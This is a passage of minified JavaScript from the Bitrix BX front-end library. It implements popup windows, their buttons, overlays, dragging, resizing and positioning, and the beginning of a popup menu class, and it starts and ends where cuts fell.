if(BX.type.isString(t)){this.contentContainer.innerHTML=t}else{this.contentContainer.innerHTML="&nbsp;"}};BX.PopupWindow.prototype.setButtons=function(t){this.buttons=t&&BX.type.isArray(t)?t:[];if(this.buttonsContainer){BX.remove(this.buttonsContainer)}if(this.buttons.length>0&&this.contentContainer){var e=[];for(var i=0;i<this.buttons.length;i++){var n=this.buttons[i];if(n===null||!BX.is_subclass_of(n,BX.PopupWindowButton)){continue}n.popupWindow=this;e.push(n.render())}this.buttonsContainer=this.contentContainer.parentNode.appendChild(BX.create("div",{props:{className:"popup-window-buttons"},children:e}))}};BX.PopupWindow.prototype.getButtons=function(){return this.buttons};BX.PopupWindow.prototype.getButton=function(t){for(var e=0;e<this.buttons.length;e++){var i=this.buttons[e];if(i.getId()===t){return i}}return null};BX.PopupWindow.prototype.setBindElement=function(t){if(!t||typeof t!=="object"){return}if(BX.type.isDomNode(t)||BX.type.isNumber(t.top)&&BX.type.isNumber(t.left)){this.bindElement=t}else if(BX.type.isNumber(t.clientX)&&BX.type.isNumber(t.clientY)){BX.fixEventPageXY(t);this.bindElement={left:t.pageX,top:t.pageY,bottom:t.pageY}}};BX.PopupWindow.prototype.getBindElementPos=function(t){if(BX.type.isDomNode(t)){return BX.pos(t,false)}else if(t&&typeof t==="object"){if(!BX.type.isNumber(t.bottom)){t.bottom=t.top}return t}else{var e=BX.GetWindowInnerSize();var i=BX.GetWindowScrollPos();var n=this.popupContainer.offsetWidth;var o=this.popupContainer.offsetHeight;this.bindOptions.forceTop=true;return{left:e.innerWidth/2-n/2+i.scrollLeft,top:e.innerHeight/2-o/2+i.scrollTop,bottom:e.innerHeight/2-o/2+i.scrollTop,windowSize:e,windowScroll:i,popupWidth:n,popupHeight:o}}};BX.PopupWindow.prototype.setAngle=function(t){if(t===false&&this.angle!==null){BX.remove(this.angle.element);this.angle=null;return}var e="popup-window-angly";if(this.angle===null){var i=this.bindOptions.position&&this.bindOptions.position==="top"?"bottom":"top";var n=BX.PopupWindow.getOption(i==="top"?"angleMinTop":"angleMinBottom");var o=BX.type.isNumber(t.offset)?t.offset:0;var s=BX.PopupWindow.getOption("angleLeftOffset",null);if(o>0&&BX.type.isNumber(s)){o+=s-BX.PopupWindow.defaultOptions.angleLeftOffset}this.angle={element:BX.create("div",{props:{className:e+" "+e+"-"+i}}),position:i,offset:0,defaultOffset:Math.max(o,n)};this.popupContainer.appendChild(this.angle.element)}if(typeof t==="object"&&t.position&&BX.util.in_array(t.position,["top","right","bottom","left","hide"])){BX.removeClass(this.angle.element,e+"-"+this.angle.position);BX.addClass(this.angle.element,e+"-"+t.position);this.angle.position=t.position}if(typeof t==="object"&&BX.type.isNumber(t.offset)){var p=t.offset;var u,a;if(this.angle.position==="top"){u=BX.PopupWindow.getOption("angleMinTop");a=this.popupContainer.offsetWidth-BX.PopupWindow.getOption("angleMaxTop");a=a<u?Math.max(u,p):a;this.angle.offset=Math.min(Math.max(u,p),a);this.angle.element.style.left=this.angle.offset+"px";this.angle.element.style.marginLeft=0}else if(this.angle.position==="bottom"){u=BX.PopupWindow.getOption("angleMinBottom");a=this.popupContainer.offsetWidth-BX.PopupWindow.getOption("angleMaxBottom");a=a<u?Math.max(u,p):a;this.angle.offset=Math.min(Math.max(u,p),a);this.angle.element.style.marginLeft=this.angle.offset+"px";this.angle.element.style.left=0}else if(this.angle.position==="right"){u=BX.PopupWindow.getOption("angleMinRight");a=this.popupContainer.offsetHeight-BX.PopupWindow.getOption("angleMaxRight");a=a<u?Math.max(u,p):a;this.angle.offset=Math.min(Math.max(u,p),a);this.angle.element.style.top=this.angle.offset+"px"}else if(this.angle.position==="left"){u=BX.PopupWindow.getOption("angleMinLeft");a=this.popupContainer.offsetHeight-BX.PopupWindow.getOption("angleMaxLeft");a=a<u?Math.max(u,p):a;this.angle.offset=Math.min(Math.max(u,p),a);this.angle.element.style.top=this.angle.offset+"px"}}};BX.PopupWindow.prototype.getWidth=function(){return this.width};BX.PopupWindow.prototype.setWidth=function(t){this.setWidthProperty("width",t)};BX.PopupWindow.prototype.getHeight=function(){return this.height};BX.PopupWindow.prototype.setHeight=function(t){this.setHeightProperty("height",t)};BX.PopupWindow.prototype.getMinWidth=function(){return this.minWidth};BX.PopupWindow.prototype.setMinWidth=function(t){this.setWidthProperty("minWidth",t)};BX.PopupWindow.prototype.getMinHeight=function(){return this.minHeight};BX.PopupWindow.prototype.setMinHeight=function(t){this.setHeightProperty("minHeight",t)};BX.PopupWindow.prototype.getMaxWidth=function(){return this.maxWidth};BX.PopupWindow.prototype.setMaxWidth=function(t){this.setWidthProperty("maxWidth",t)};BX.PopupWindow.prototype.getMaxHeight=function(){return this.maxHeight};BX.PopupWindow.prototype.setMaxHeight=function(t){this.setHeightProperty("maxHeight",t)};BX.PopupWindow.prototype.setWidthProperty=function(t,e){var i=["width","minWidth","maxWidth"];if(i.indexOf(t)===-1){return}if(BX.type.isNumber(e)&&e>=0){this[t]=e;this.contentContainer.style[t]=e+"px";this.contentContainer.style.overflowX="auto";this.getPopupContainer().classList.add("popup-window-fixed-width");if(this.titleBar){this.titleBar.style[t]=e+"px"}}else if(e===null||e===false){this[t]=null;this.contentContainer.style.removeProperty(BX.util.getCssName(t));var n=i.some(function(t){return this.contentContainer.style.getPropertyValue(BX.util.getCssName(t))!==""},this);if(!n){this.contentContainer.style.removeProperty("overflow-x");this.getPopupContainer().classList.remove("popup-window-fixed-width")}if(this.titleBar){this.titleBar.style.removeProperty(BX.util.getCssName(t))}}};BX.PopupWindow.prototype.setHeightProperty=function(t,e){var i=["height","minHeight","maxHeight"];if(i.indexOf(t)===-1){return}if(BX.type.isNumber(e)&&e>=0){this[t]=e;this.contentContainer.style[t]=e+"px";this.contentContainer.style.overflowY="auto";this.getPopupContainer().classList.add("popup-window-fixed-height")}else if(e===null||e===false){this[t]=null;this.contentContainer.style.removeProperty(BX.util.getCssName(t));var n=i.some(function(t){return this.contentContainer.style.getPropertyValue(BX.util.getCssName(t))!==""},this);if(!n){this.contentContainer.style.removeProperty("overflow-y");this.getPopupContainer().classList.remove("popup-window-fixed-height")}}};BX.PopupWindow.prototype.setResizeMode=function(t){if(t===true||BX.type.isPlainObject(t)){if(!this.resizeIcon){this.resizeIcon=BX.create("div",{props:{className:"popup-window-resize"},events:{mousedown:BX.proxy(this.onResizeMouseDown,this)}});this.popupContainer.appendChild(this.resizeIcon)}this.setMinWidth(t.minWidth);this.setMinHeight(t.minHeight)}else if(t===false&&this.resizeIcon){BX.remove(this.resizeIcon);this.resizeIcon=null}};BX.PopupWindow.prototype.getPopupContainer=function(){return this.popupContainer};BX.PopupWindow.prototype.onTitleMouseDown=function(t){this._startDrag(t,{cursor:"move",callback:BX.proxy(this.move,this),eventName:"Drag"})};BX.PopupWindow.prototype.onResizeMouseDown=function(t){this._startDrag(t,{cursor:"nwse-resize",eventName:"Resize",callback:BX.proxy(this._resize,this)});this.resizeContentPos=BX.pos(this.contentContainer);this.resizeContentOffset=this.resizeContentPos.left-BX.pos(this.popupContainer).left};BX.PopupWindow.prototype._resize=function(t,e,i,n){var o=i-this.resizeContentPos.left;var s=n-this.resizeContentPos.top;var p=BX.GetWindowScrollSize().scrollWidth;if(this.resizeContentPos.left+o+this.resizeContentOffset>=p){o=p-this.resizeContentPos.left-this.resizeContentOffset}o=Math.max(o,this.getMinWidth());s=Math.max(s,this.getMinHeight());if(this.getMaxWidth()!==null){o=Math.min(o,this.getMaxWidth())}if(this.getMaxHeight()!==null){s=Math.min(s,this.getMaxHeight())}this.setWidth(o);this.setHeight(s)};BX.PopupWindow.prototype.isTopAngle=function(){return this.angle!==null&&this.angle.position==="top"};BX.PopupWindow.prototype.isBottomAngle=function(){return this.angle!==null&&this.angle.position==="bottom"};BX.PopupWindow.prototype.isTopOrBottomAngle=function(){return this.angle!==null&&BX.util.in_array(this.angle.position,["top","bottom"])};BX.PopupWindow.prototype.getAngleHeight=function(){return this.isTopOrBottomAngle()?BX.PopupWindow.getOption("angleTopOffset"):0};BX.PopupWindow.prototype.setOffset=function(t){if(!BX.type.isPlainObject(t)){return}if(BX.type.isNumber(t.offsetLeft)){this.offsetLeft=t.offsetLeft+BX.PopupWindow.getOption("offsetLeft")}if(BX.type.isNumber(t.offsetTop)){this.offsetTop=t.offsetTop+BX.PopupWindow.getOption("offsetTop")}};BX.PopupWindow.prototype.setTitleBar=function(t){if(!this.titleBar){return}if(typeof t==="object"&&BX.type.isDomNode(t.content)){this.titleBar.innerHTML="";this.titleBar.appendChild(t.content)}else if(typeof t==="string"){this.titleBar.innerHTML="";this.titleBar.appendChild(BX.create("span",{props:{className:"popup-window-titlebar-text"},text:t}))}if(this.params.draggable){this.titleBar.style.cursor="move";BX.bind(this.titleBar,"mousedown",BX.proxy(this.onTitleMouseDown,this))}};BX.PopupWindow.prototype.setClosingByEsc=function(t){t=BX.type.isBoolean(t)?t:true;if(t){this.closeByEsc=true;if(!this.isCloseByEscBinded){BX.bind(document,"keyup",BX.proxy(this._onKeyUp,this));this.isCloseByEscBinded=true}}else{this.closeByEsc=false;if(this.isCloseByEscBinded){BX.unbind(document,"keyup",BX.proxy(this._onKeyUp,this));this.isCloseByEscBinded=false}}};BX.PopupWindow.prototype.setAutoHide=function(t){t=BX.type.isBoolean(t)?t:true;if(t){this.autoHide=true;if(this.isShown()){this.bindAutoHide()}}else{this.autoHide=false;this.unbindAutoHide()}};BX.PopupWindow.prototype.bindAutoHide=function(){if(!this.isAutoHideBinded){this.isAutoHideBinded=true;BX.bind(this.popupContainer,"click",this.cancelBubble);if(this.overlay&&this.overlay.element){BX.bind(this.overlay.element,"click",this.handleOverlayClick)}else{BX.bind(document,"click",this.handleAutoHide)}}};BX.PopupWindow.prototype.unbindAutoHide=function(){if(this.isAutoHideBinded){this.isAutoHideBinded=false;BX.unbind(this.popupContainer,"click",this.cancelBubble);if(this.overlay&&this.overlay.element){BX.unbind(this.overlay.element,"click",this.handleOverlayClick)}else{BX.unbind(document,"click",this.handleAutoHide)}}};BX.PopupWindow.prototype.handleAutoHide=function(t){if(this.autoHideHandler!==null){if(this.autoHideHandler(t)){this.close(t)}}else{this.close(t)}};BX.PopupWindow.prototype.handleOverlayClick=function(t){this.close(t);t.stopPropagation()};BX.PopupWindow.prototype.setOverlay=function(t){if(this.overlay===null){this.overlay={element:BX.create("div",{props:{className:"popup-window-overlay",id:"popup-window-overlay-"+this.uniquePopupId}})};this.adjustOverlayZindex();this.resizeOverlay();this.appendContainer.appendChild(this.overlay.element)}if(t&&t.hasOwnProperty("opacity")&&BX.type.isNumber(t.opacity)&&t.opacity>=0&&t.opacity<=100){if(BX.browser.IsIE()&&!BX.browser.IsIE9()){this.overlay.element.style.filter="alpha(opacity="+t.opacity+")"}else{this.overlay.element.style.filter="none";this.overlay.element.style.opacity=parseFloat(t.opacity/100).toPrecision(3)}}if(t&&t.backgroundColor){this.overlay.element.style.backgroundColor=t.backgroundColor}};BX.PopupWindow.prototype.removeOverlay=function(){if(this.overlay!==null&&this.overlay.element!==null){BX.remove(this.overlay.element)}if(this.overlayTimeout){clearInterval(this.overlayTimeout);this.overlayTimeout=null}this.overlay=null};BX.PopupWindow.prototype.hideOverlay=function(){if(this.overlay!==null&&this.overlay.element!==null){if(this.overlayTimeout){clearInterval(this.overlayTimeout);this.overlayTimeout=null}this.overlay.element.style.display="none"}};BX.PopupWindow.prototype.showOverlay=function(){if(this.overlay!==null&&this.overlay.element!==null){this.overlay.element.style.display="block";var t=this.popupContainer.offsetHeight;this.overlayTimeout=setInterval(function(){if(t!==this.popupContainer.offsetHeight){this.resizeOverlay();t=this.popupContainer.offsetHeight}}.bind(this),1e3)}};BX.PopupWindow.prototype.resizeOverlay=function(){if(this.overlay!==null&&this.overlay.element!==null){if(this.parentPopup){this.overlay.element.style.width=this.parentPopup.popupContainer.offsetWidth+"px";this.overlay.element.style.height=this.parentPopup.popupContainer.offsetHeight+"px"}else{var t=BX.GetWindowScrollSize();var e=Math.max(document.body.scrollHeight,document.documentElement.scrollHeight,document.body.offsetHeight,document.documentElement.offsetHeight,document.body.clientHeight,document.documentElement.clientHeight);this.overlay.element.style.width=t.scrollWidth+"px";this.overlay.element.style.height=e+"px"}}};BX.PopupWindow.prototype.getZindex=function(){if(this.overlay!==null){return this.params.zIndexAbsolute>0?this.params.zIndexAbsolute:BX.PopupWindow.getOption("popupOverlayZindex")+this.params.zIndex}else{return this.params.zIndexAbsolute>0?this.params.zIndexAbsolute:BX.PopupWindow.getOption("popupZindex")+this.params.zIndex}};BX.PopupWindow.prototype.adjustOverlayZindex=function(){if(this.overlay!==null&&this.overlay.element!==null){this.overlay.element.style.zIndex=parseInt(this.popupContainer.style.zIndex)-1}};BX.PopupWindow.prototype.show=function(){if(!this.firstShow){BX.onCustomEvent(this,"onPopupFirstShow",[this]);this.firstShow=true}BX.onCustomEvent(this,"onPopupShow",[this]);this.showOverlay();this.popupContainer.style.display="block";this.showAnimation();this.adjustPosition();BX.onCustomEvent(this,"onAfterPopupShow",[this]);if(this.closeByEsc&&!this.isCloseByEscBinded){BX.bind(document,"keyup",BX.proxy(this._onKeyUp,this));this.isCloseByEscBinded=true}if(this.autoHide&&!this.isAutoHideBinded){setTimeout(BX.proxy(function(){if(this.isShown()){this.bindAutoHide()}},this),100)}};BX.PopupWindow.prototype.showAnimation=function(){if(BX.type.isNotEmptyString(this.animationCloseClassName)){BX.removeClass(this.popupContainer,this.animationCloseClassName)}if(BX.type.isNotEmptyString(this.animationShowClassName)){BX.addClass(this.popupContainer,this.animationShowClassName)}};BX.PopupWindow.prototype.closeAnimation=function(){if(BX.type.isNotEmptyString(this.animationShowClassName)){BX.removeClass(this.popupContainer,this.animationShowClassName)}if(BX.type.isNotEmptyString(this.animationCloseClassName)){BX.addClass(this.popupContainer,this.animationCloseClassName)}};BX.PopupWindow.prototype.isShown=function(){return this.popupContainer.style.display==="block"};BX.PopupWindow.prototype.cancelBubble=function(e){e=e||t.event;if(e.stopPropagation){e.stopPropagation()}else{e.cancelBubble=true}};BX.PopupWindow.prototype.close=function(t){if(!this.isShown()){return}if(t&&!(BX.getEventButton(t)&BX.MSLEFT)){return}BX.onCustomEvent(this,"onPopupClose",[this,t]);this.hideOverlay();this.closeAnimation();var e=BX.proxy(function(){this.popupContainer.style.display="none";if(this.animationCloseEventType==="animation"){BX.unbind(this.popupContainer,"animationend",e);BX.unbind(this.popupContainer,"webkitAnimationEnd",e);BX.unbind(this.popupContainer,"oanimationend",e);BX.unbind(this.popupContainer,"oAnimationEnd",e);BX.unbind(this.popupContainer,"MSAnimationEnd",e)}else if(this.animationCloseEventType==="transition"){BX.unbind(this.popupContainer,"transitionend",e);BX.unbind(this.popupContainer,"webkitTransitionEnd",e);BX.unbind(this.popupContainer,"otransitionend",e);BX.unbind(this.popupContainer,"oTransitionEnd",e);BX.unbind(this.popupContainer,"MSTransitionEnd",e)}},this);if(BX.type.isNotEmptyString(this.animationCloseEventType)){if(this.animationCloseEventType==="animation"){BX.bind(this.popupContainer,"animationend",e);BX.bind(this.popupContainer,"webkitAnimationEnd",e);BX.bind(this.popupContainer,"oanimationend",e);BX.bind(this.popupContainer,"oAnimationEnd",e);BX.bind(this.popupContainer,"MSAnimationEnd",e)}else if(this.animationCloseEventType==="transition"){BX.bind(this.popupContainer,"transitionend",e);BX.bind(this.popupContainer,"webkitTransitionEnd",e);BX.bind(this.popupContainer,"otransitionend",e);BX.bind(this.popupContainer,"oTransitionEnd",e);BX.bind(this.popupContainer,"MSTransitionEnd",e)}}else{e()}if(this.isCloseByEscBinded){BX.unbind(document,"keyup",BX.proxy(this._onKeyUp,this));this.isCloseByEscBinded=false}setTimeout(BX.proxy(this._close,this),0)};BX.PopupWindow.prototype._close=function(){if(this.autoHide){this.unbindAutoHide()}};BX.PopupWindow.prototype._onCloseIconClick=function(e){e=e||t.event;this.close(e);BX.PreventDefault(e)};BX.PopupWindow.prototype._onKeyUp=function(e){e=e||t.event;if(e.keyCode===27){n(this.getZindex(),BX.proxy(this.close,this))}};BX.PopupWindow.prototype.destroy=function(){BX.onCustomEvent(this,"onPopupDestroy",[this]);BX.unbindAll(this);BX.unbind(document,"keyup",BX.proxy(this._onKeyUp,this));BX.unbind(document,"click",BX.proxy(this.close,this));BX.unbind(document,"mousemove",BX.proxy(this._moveDrag,this));BX.unbind(document,"mouseup",BX.proxy(this._stopDrag,this));BX.unbind(t,"resize",BX.proxy(this._onResizeWindow,this));BX.remove(this.popupContainer);this.removeOverlay()};BX.PopupWindow.prototype.enterFullScreen=function(){if(BX.PopupWindow.fullscreenStatus){if(document.cancelFullScreen){document.cancelFullScreen()}else if(document.mozCancelFullScreen){document.mozCancelFullScreen()}else if(document.webkitCancelFullScreen){document.webkitCancelFullScreen()}}else{if(BX.browser.IsChrome()||BX.browser.IsSafari()){this.contentContainer.webkitRequestFullScreen(this.contentContainer.ALLOW_KEYBOARD_INPUT);BX.bind(t,"webkitfullscreenchange",this.fullscreenBind=BX.proxy(this.eventFullScreen,this))}else if(BX.browser.IsFirefox()){this.contentContainer.mozRequestFullScreen(this.contentContainer.ALLOW_KEYBOARD_INPUT);BX.bind(t,"mozfullscreenchange",this.fullscreenBind=BX.proxy(this.eventFullScreen,this))}}};BX.PopupWindow.prototype.eventFullScreen=function(e){if(BX.PopupWindow.fullscreenStatus){if(BX.browser.IsChrome()||BX.browser.IsSafari()){BX.unbind(t,"webkitfullscreenchange",this.fullscreenBind)}else if(BX.browser.IsFirefox()){BX.unbind(t,"mozfullscreenchange",this.fullscreenBind)}BX.removeClass(this.contentContainer,"popup-window-fullscreen",[this.contentContainer]);BX.PopupWindow.fullscreenStatus=false;BX.onCustomEvent(this,"onPopupFullscreenLeave");this.adjustPosition()}else{BX.addClass(this.contentContainer,"popup-window-fullscreen");BX.PopupWindow.fullscreenStatus=true;BX.onCustomEvent(this,"onPopupFullscreenEnter",[this.contentContainer]);this.adjustPosition()}};BX.PopupWindow.prototype.adjustPosition=function(t){if(t&&typeof t==="object"){this.bindOptions=t}var e=this.getBindElementPos(this.bindElement);if(!this.bindOptions.forceBindPosition&&this.bindElementPos!==null&&e.top===this.bindElementPos.top&&e.left===this.bindElementPos.left){return}this.bindElementPos=e;var i=e.windowSize?e.windowSize:BX.GetWindowInnerSize();var n=e.windowScroll?e.windowScroll:BX.GetWindowScrollPos();var o=e.popupWidth?e.popupWidth:this.popupContainer.offsetWidth;var s=e.popupHeight?e.popupHeight:this.popupContainer.offsetHeight;var p=BX.PopupWindow.getOption("angleTopOffset");var u=this.bindElementPos.left+this.offsetLeft-(this.isTopOrBottomAngle()?BX.PopupWindow.getOption("angleLeftOffset"):0);if(!this.bindOptions.forceLeft&&u+o+this.bordersWidth>=i.innerWidth+n.scrollLeft&&i.innerWidth+n.scrollLeft-o-this.bordersWidth>0){var a=u;u=i.innerWidth+n.scrollLeft-o-this.bordersWidth;if(this.isTopOrBottomAngle()){this.setAngle({offset:a-u+this.angle.defaultOffset})}}else if(this.isTopOrBottomAngle()){this.setAngle({offset:this.angle.defaultOffset+(u<0?u:0)})}if(u<0){u=0}var r=0;if(this.bindOptions.position&&this.bindOptions.position==="top"){r=this.bindElementPos.top-s-this.offsetTop-(this.isBottomAngle()?p:0);if(r<0||!this.bindOptions.forceTop&&r<n.scrollTop){r=this.bindElementPos.bottom+this.offsetTop;if(this.angle!==null){r+=p;this.setAngle({position:"top"})}}else if(this.isTopAngle()){r=r-p+BX.PopupWindow.getOption("positionTopXOffset");this.setAngle({position:"bottom"})}else{r+=BX.PopupWindow.getOption("positionTopXOffset")}}else{r=this.bindElementPos.bottom+this.offsetTop+this.getAngleHeight();if(!this.bindOptions.forceTop&&r+s>i.innerHeight+n.scrollTop&&this.bindElementPos.top-s-this.getAngleHeight()>=0){r=this.bindElementPos.top-s;if(this.isTopOrBottomAngle()){r-=p;this.setAngle({position:"bottom"})}r+=BX.PopupWindow.getOption("positionTopXOffset")}else if(this.isBottomAngle()){r+=p;this.setAngle({position:"top"})}}if(!this.parentPopup&&r<0){r=0}BX.adjust(this.popupContainer,{style:{top:r+"px",left:u+"px",zIndex:this.getZindex()}});this.adjustOverlayZindex()};BX.PopupWindow.prototype._onResizeWindow=function(t){if(this.isShown()){this.adjustPosition();if(this.overlay!==null){this.resizeOverlay()}}};BX.PopupWindow.prototype.move=function(t,e,i,n){var o=parseInt(this.popupContainer.style.left)+t;var s=parseInt(this.popupContainer.style.top)+e;if(typeof this.params.draggable==="object"&&this.params.draggable.restrict){if(!this.parentPopup&&o<0){o=0}var p=BX.GetWindowScrollSize();var u=this.popupContainer.offsetWidth;var a=this.popupContainer.offsetHeight;if(o>p.scrollWidth-u){o=p.scrollWidth-u}if(s>p.scrollHeight-a){s=p.scrollHeight-a}if(!this.parentPopup&&s<0){s=0}}this.popupContainer.style.left=o+"px";this.popupContainer.style.top=s+"px"};BX.PopupWindow.prototype._startDrag=function(e,i){e=e||t.event;BX.fixEventPageXY(e);i=i||{};if(BX.type.isNotEmptyString(i.cursor)){this.dragOptions.cursor=i.cursor}if(BX.type.isNotEmptyString(i.eventName)){this.dragOptions.eventName=i.eventName}if(BX.type.isFunction(i.callback)){this.dragOptions.callback=i.callback}this.dragPageX=e.pageX;this.dragPageY=e.pageY;this.dragged=false;BX.bind(document,"mousemove",BX.proxy(this._moveDrag,this));BX.bind(document,"mouseup",BX.proxy(this._stopDrag,this));if(document.body.setCapture){document.body.setCapture()}document.body.ondrag=BX.False;document.body.onselectstart=BX.False;document.body.style.cursor=this.dragOptions.cursor;document.body.style.MozUserSelect="none";this.popupContainer.style.MozUserSelect="none";return BX.PreventDefault(e)};BX.PopupWindow.prototype._moveDrag=function(e){e=e||t.event;BX.fixEventPageXY(e);if(this.dragPageX===e.pageX&&this.dragPageY===e.pageY){return}this.dragOptions.callback(e.pageX-this.dragPageX,e.pageY-this.dragPageY,e.pageX,e.pageY);this.dragPageX=e.pageX;this.dragPageY=e.pageY;if(!this.dragged){BX.onCustomEvent(this,"onPopup"+this.dragOptions.eventName+"Start",[this]);this.dragged=true}BX.onCustomEvent(this,"onPopup"+this.dragOptions.eventName,[this])};BX.PopupWindow.prototype._stopDrag=function(t){if(document.body.releaseCapture){document.body.releaseCapture()}BX.unbind(document,"mousemove",BX.proxy(this._moveDrag,this));BX.unbind(document,"mouseup",BX.proxy(this._stopDrag,this));document.body.ondrag=null;document.body.onselectstart=null;document.body.style.cursor="";document.body.style.MozUserSelect="";this.popupContainer.style.MozUserSelect="";BX.onCustomEvent(this,"onPopup"+this.dragOptions.eventName+"End",[this]);this.dragged=false;return BX.PreventDefault(t)};BX.PopupWindow.options={};BX.PopupWindow.defaultOptions={angleLeftOffset:40,positionTopXOffset:-11,angleTopOffset:10,popupZindex:1e3,popupOverlayZindex:1100,angleMinLeft:10,angleMaxLeft:10,angleMinRight:10,angleMaxRight:10,angleMinBottom:23,angleMaxBottom:25,angleMinTop:23,angleMaxTop:25,offsetLeft:0,offsetTop:0};BX.PopupWindow.setOptions=function(t){if(!t||typeof t!=="object"){return}for(var e in t){BX.PopupWindow.options[e]=t[e]}};BX.PopupWindow.getOption=function(t,e){if(typeof BX.PopupWindow.options[t]!=="undefined"){return BX.PopupWindow.options[t]}else if(typeof e!=="undefined"){return e}else{return BX.PopupWindow.defaultOptions[t]}};BX.PopupWindowButton=function(t){this.popupWindow=null;this.params=t||{};this.text=this.params.text||"";this.id=this.params.id||"";this.className=this.params.className||"";this.events=this.params.events||{};this.contextEvents={};for(var e in this.events){this.contextEvents[e]=BX.proxy(this.events[e],this)}this.buttonNode=BX.create("span",{props:{className:"popup-window-button"+(this.className.length>0?" "+this.className:""),id:this.id},events:this.contextEvents,text:this.text})};BX.PopupWindowButton.prototype.render=function(){return this.buttonNode};BX.PopupWindowButton.prototype.getId=function(){return this.id};BX.PopupWindowButton.prototype.getName=function(){return this.name};BX.PopupWindowButton.prototype.getContainer=function(){return this.buttonNode};BX.PopupWindowButton.prototype.setName=function(t){this.text=t||"";if(this.buttonNode){BX.cleanNode(this.buttonNode);BX.adjust(this.buttonNode,{text:this.text})}};BX.PopupWindowButton.prototype.setClassName=function(t){if(this.buttonNode){if(BX.type.isString(this.className)&&this.className!==""){BX.removeClass(this.buttonNode,this.className)}BX.addClass(this.buttonNode,t)}this.className=t};BX.PopupWindowButton.prototype.addClassName=function(t){if(this.buttonNode){BX.addClass(this.buttonNode,t);this.className=this.buttonNode.className}};BX.PopupWindowButton.prototype.removeClassName=function(t){if(this.buttonNode){BX.removeClass(this.buttonNode,t);this.className=this.buttonNode.className}};BX.PopupWindowButtonLink=function(t){BX.PopupWindowButtonLink.superclass.constructor.apply(this,arguments);this.buttonNode=BX.create("span",{props:{className:"popup-window-button popup-window-button-link"+(this.className.length>0?" "+this.className:""),id:this.id},text:this.text,events:this.contextEvents})};BX.extend(BX.PopupWindowButtonLink,BX.PopupWindowButton);BX.PopupWindowCustomButton=function(t){BX.PopupWindowCustomButton.superclass.constructor.apply(this,arguments);this.buttonNode=BX.create("span",{props:{className:this.className.length>0?" "+this.className:"",id:this.id},events:this.contextEvents,text:this.text})};BX.extend(BX.PopupWindowCustomButton,BX.PopupWindowButton);BX.PopupMenu={Data:{},currentItem:null,show:function(t,e,i,n){if(this.currentItem!==null){this.currentItem.popupWindow.close()}this.currentItem=this.create(t,e,i,n);this.currentItem.popupWindow.show()},create:function(t,e,i,n){if(!this.Data[t]){this.Data[t]=new BX.PopupMenuWindow(t,e,i,n);BX.addCustomEvent(this.Data[t],"onPopupMenuDestroy",this.onPopupDestroy.bind(this))}return this.Data[t]},getCurrentMenu:function(){return this.currentItem},getMenuById:function(t){return this.Data[t]?this.Data[t]:null},onPopupDestroy:function(t){this.destroy(t.id)},destroy:function(t){var e=this.getMenuById(t);if(e){if(this.currentItem===e){this.currentItem=null}e.popupWindow.destroy();delete this.Data[t]}}};BX.PopupMenuWindow=function(t,e,i,n){this.id=t;this.bindElement=e;this.menuItems=[];this.itemsContainer=null;this.params=n&&typeof n==="object"?n:{};this.parentMenuWindow=null;this.parentMenuItem=null;if(i&&BX.type.isArray(i)){for(var o=0;o<i.length;o++){this.addMenuItemInternal(i[o],null)}}this.layout={menuContainer:null,itemsContainer:null};this.popupWindow=this.__createPopup()};BX.PopupMenuWindow.prototype.__createPopup=function(){var t=[];for(var e=0;e<this.menuItems.length;e++){var i=this.menuItems[e];var n=i.getLayout();t.push(n.item)}var o={closeByEsc:false,angle:false,autoHide:true,offsetTop:1,offsetLeft:0,animationOptions:{show:{type:"opacity"},close:{type:"opacity"}}};var s=BX.mergeEx(o,this.params);s.noAllPaddings=true;s.darkMode=false;s.autoHideHandler=this.handleAutoHide.bind(this);s.content=this.layout.menuContainer=BX.create("div",{props:{className:"menu-popup"},children:[this.layout.itemsContainer=this.itemsContainer=BX.create("div",{props:{className:"menu-popup-items"},children:t})]});s.events={onPopupClose:this.onMenuWindowClose.bind(this),onPopupDestroy:this.onMenuWindowDestroy.bind(this)};var p=new BX.PopupWindow("menu-popup-"+this.id,this.bindElement,s);if(this.params&&this.params.events){for(var u in this.params.events){if(this.params.events.hasOwnProperty(u)){BX.addCustomEvent(p,u,this.params.events[u])}}}return p};BX.PopupMenuWindow.prototype.getPopupWindow=function(){return this.popupWindow};BX.PopupMenuWindow.prototype.show=function(){this.popupWindow.show()};BX.PopupMenuWindow.prototype.close=function(){this.popupWindow.close()};BX.PopupMenuWindow.prototype.destroy=function(){BX.onCustomEvent(this,"onPopupMenuDestroy",[this]);this.popupWindow.destroy()};BX.PopupMenuWindow.prototype.onMenuWindowClose=function(){for(var t=0;t<this.menuItems.length;t++){var e=this.menuItems[t];e.closeSubMenu()}};BX.PopupMenuWindow.prototype.onMenuWindowDestroy=function(){for(var t=0;t<this.menuItems.length;t++){var e=this.menuItems[t];e.destroySubMenu()}};BX.PopupMenuWindow.prototype.handleAutoHide=function(t){return!this.containsTarget(t.target)};BX.PopupMenuWindow.prototype.containsTarget=function(t){var e=this.getPopupWindow().getPopupContainer();if(this.getPopupWindow().isShown()&&(t===e||e.contains(t))){return true}return this.getMenuItems().some(function(e){return e.getSubMenu()&&e.getSubMenu().containsTarget(t)})};BX.PopupMenuWindow.prototype.setParentMenuWindow=function(t){if(t instanceof BX.PopupMenuWindow){this.parentMenuWindow=t}};BX.PopupMenuWindow.prototype.getParentMenuWindow=function(){return this.parentMenuWindow};BX.PopupMenuWindow.prototype.getRootMenuWindow=function(){var t=null;var e=this.getParentMenuWindow();while(e!==null){t=e;e=e.getParentMenuWindow()}return t};BX.PopupMenuWindow.prototype.setParentMenuItem=function(t){if(t instanceof BX.PopupMenuItem){this.parentMenuItem=t}};BX.PopupMenuWindow.prototype.getParentMenuItem=function(){return this.parentMenuItem};BX.PopupMenuWindow.prototype.addMenuItem=function(t,e){var i=this.addMenuItemInternal(t,e);if(!i){return null}var n=i.getLayout();var o=this.getMenuItem(e);if(o!==null){var s=o.getLayout();this.itemsContainer.insertBefore(n.item,s.item)}else{this.itemsContainer.appendChild(n.item)}return i};BX.PopupMenuWindow.prototype.addMenuItemInternal=function(t,e){if(!t||!t.delimiter&&!BX.type.isNotEmptyString(t.text)||t.id&&this.getMenuItem(t.id)!==null){return null}if(BX.type.isNumber(this.params.menuShowDelay)){t.menuShowDelay=this.params.menuShowDelay}var i=new BX.PopupMenuItem(t);i.setMenuWindow(this);var n=this.getMenuItemPosition(e);if(n>=0){this.menuItems=BX.util.insertIntoArray(this.menuItems,n,i)}else{this.menuItems.push(i)}return i};BX.PopupMenuWindow.prototype.removeMenuItem=function(t){var e=this.getMenuItem(t);if(!e){return}for(var 